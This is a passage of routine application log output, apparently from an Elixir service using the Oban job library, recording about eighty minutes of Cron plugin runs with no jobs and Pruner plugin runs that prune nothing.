{"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:41:22.266 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:41:52.267 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:42:00.912 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:42:22.268 [info] {"source":"oban","duration":879,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:42:52.270 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:43:00.914 [info] {"source":"oban","duration":308,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:43:22.271 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:43:52.272 [info] {"source":"oban","duration":882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:44:00.914 [info] {"source":"oban","duration":322,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:44:22.274 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:44:52.275 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:45:00.915 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:45:22.276 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:45:52.277 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:46:00.916 [info] {"source":"oban","duration":349,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:46:22.278 [info] {"source":"oban","duration":804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:46:52.280 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:47:00.917 [info] {"source":"oban","duration":137,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:47:22.281 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:47:52.282 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:48:00.918 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:48:22.283 [info] {"source":"oban","duration":772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:48:52.285 [info] {"source":"oban","duration":744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:49:00.919 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:49:22.286 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:49:52.287 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:50:00.920 [info] {"source":"oban","duration":312,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:50:22.288 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:50:52.289 [info] {"source":"oban","duration":576,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:51:00.921 [info] {"source":"oban","duration":237,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:51:22.290 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:51:52.291 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:52:00.922 [info] {"source":"oban","duration":290,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:52:22.292 [info] {"source":"oban","duration":838,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:52:52.294 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:53:00.923 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:53:22.295 [info] {"source":"oban","duration":552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:53:52.296 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:54:00.924 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:54:22.296 [info] {"source":"oban","duration":487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:54:52.298 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:55:00.925 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:55:22.299 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:55:52.300 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:56:00.926 [info] {"source":"oban","duration":330,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:56:22.301 [info] {"source":"oban","duration":849,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:56:52.303 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:57:00.927 [info] {"source":"oban","duration":255,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:57:22.304 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:57:52.305 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:58:00.928 [info] {"source":"oban","duration":199,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:58:22.306 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:58:52.307 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:59:00.930 [info] {"source":"oban","duration":314,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:59:22.308 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:59:52.309 [info] {"source":"oban","duration":908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:00:00.930 [info] {"source":"oban","duration":257,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:00:22.311 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:00:52.312 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:01:00.931 [info] {"source":"oban","duration":265,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:01:22.313 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:01:52.314 [info] {"source":"oban","duration":821,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:02:00.932 [info] {"source":"oban","duration":359,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:02:22.316 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:02:52.317 [info] {"source":"oban","duration":785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:03:00.933 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:03:22.318 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:03:52.320 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:04:00.934 [info] {"source":"oban","duration":261,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:04:22.321 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:04:52.322 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:05:00.935 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:05:22.323 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:05:52.324 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:06:00.936 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:06:22.326 [info] {"source":"oban","duration":771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:06:52.327 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:07:00.937 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:07:22.328 [info] {"source":"oban","duration":842,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:07:52.330 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:08:00.938 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:08:22.332 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:08:52.333 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:09:00.939 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:09:22.333 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:09:52.335 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:10:00.940 [info] {"source":"oban","duration":310,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:10:22.336 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:10:52.337 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:11:00.941 [info] {"source":"oban","duration":251,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:11:22.338 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:11:52.339 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:12:00.942 [info] {"source":"oban","duration":330,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:12:22.340 [info] {"source":"oban","duration":844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:12:52.342 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:13:00.943 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:13:22.343 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:13:52.344 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:14:00.944 [info] {"source":"oban","duration":259,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:14:22.345 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:14:52.346 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:15:00.945 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:15:22.347 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:15:52.348 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:16:00.946 [info] {"source":"oban","duration":358,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:16:22.349 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:16:52.351 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:17:00.947 [info] {"source":"oban","duration":157,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:17:22.352 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:17:52.353 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:18:00.948 [info] {"source":"oban","duration":106,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:18:22.354 [info] {"source":"oban","duration":880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:18:52.356 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:19:00.950 [info] {"source":"oban","duration":336,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:19:22.357 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:19:52.358 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:20:00.951 [info] {"source":"oban","duration":396,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:20:22.359 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:20:52.360 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:21:00.951 [info] {"source":"oban","duration":247,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:21:22.361 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:21:52.362 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:22:00.952 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:22:22.363 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:22:52.365 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:23:00.953 [info] {"source":"oban","duration":284,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:23:22.366 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:23:52.367 [info] {"source":"oban","duration":513,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:24:00.954 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:24:22.368 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:24:52.369 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:25:00.955 [info] {"source":"oban","duration":190,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:25:22.370 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:25:52.371 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:26:00.956 [info] {"source":"oban","duration":262,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:26:22.372 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:26:52.373 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:27:00.957 [info] {"source":"oban","duration":262,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:27:22.374 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:27:52.375 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:28:00.958 [info] {"source":"oban","duration":361,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:28:22.376 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:28:52.377 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:29:00.959 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:29:22.378 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:29:52.379 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:30:00.960 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:30:22.380 [info] {"source":"oban","duration":800,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:30:52.382 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:31:00.961 [info] {"source":"oban","duration":199,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:31:22.383 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:31:52.384 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:32:00.962 [info] {"source":"oban","duration":315,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:32:22.385 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:32:52.386 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:33:00.963 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:33:22.387 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:33:52.388 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:34:00.964 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:34:22.389 [info] {"source":"oban","duration":792,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:34:52.390 [info] {"source":"oban","duration":806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:35:00.965 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:35:22.391 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:35:52.392 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:36:00.966 [info] {"source":"oban","duration":256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:36:22.393 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:36:52.394 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:37:00.967 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:37:22.395 [info] {"source":"oban","duration":524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:37:52.396 [info] {"source":"oban","duration":502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:38:00.968 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:38:22.397 [info] {"source":"oban","duration":885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:38:52.399 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:39:00.969 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:39:22.400 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:39:52.401 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:40:00.970 [info] {"source":"oban","duration":330,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:40:22.402 [info] {"source":"oban","duration":908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:40:52.404 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:41:00.971 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:41:22.405 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:41:52.406 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:42:00.972 [info] {"source":"oban","duration":252,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:42:22.407 [info] {"source":"oban","duration":872,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:42:52.409 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:43:00.973 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:43:22.410 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:43:52.411 [info] {"source":"oban","duration":779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:44:00.975 [info] {"source":"oban","duration":309,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:44:22.413 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:44:52.414 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:45:00.975 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:45:22.415 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:45:52.416 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:46:00.976 [info] {"source":"oban","duration":288,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:46:22.417 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:46:52.418 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:47:00.977 [info] {"source":"oban","duration":234,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:47:22.419 [info] {"source":"oban","duration":847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:47:52.421 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:48:00.978 [info] {"source":"oban","duration":326,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:48:22.422 [info] {"source":"oban","duration":782,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:48:52.424 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:49:00.979 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:49:22.425 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:49:52.426 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:50:00.980 [info] {"source":"oban","duration":330,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:50:22.427 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:50:52.428 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:51:00.981 [info] {"source":"oban","duration":250,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:51:22.430 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:51:52.431 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:52:00.982 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:52:22.432 [info] {"source":"oban","duration":514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:52:52.433 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:53:00.983 [info] {"source":"oban","duration":159,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:53:22.434 [info] {"source":"oban","duration":733,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:53:52.435 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:54:00.985 [info] {"source":"oban","duration":284,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:54:22.436 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:54:52.437 [info] {"source":"oban","duration":861,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:55:00.985 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:55:22.439 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:55:52.440 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:56:00.986 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:56:22.441 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:56:52.442 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:57:00.987 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:57:22.443 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:57:52.444 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:58:00.988 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:58:22.445 [info] {"source":"oban","duration":765,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:58:52.447 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:59:00.989 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:59:22.448 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:59:52.449 [info] {"source":"oban","duration":755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:00:00.990 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:00:22.451 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:00:52.452 [info] 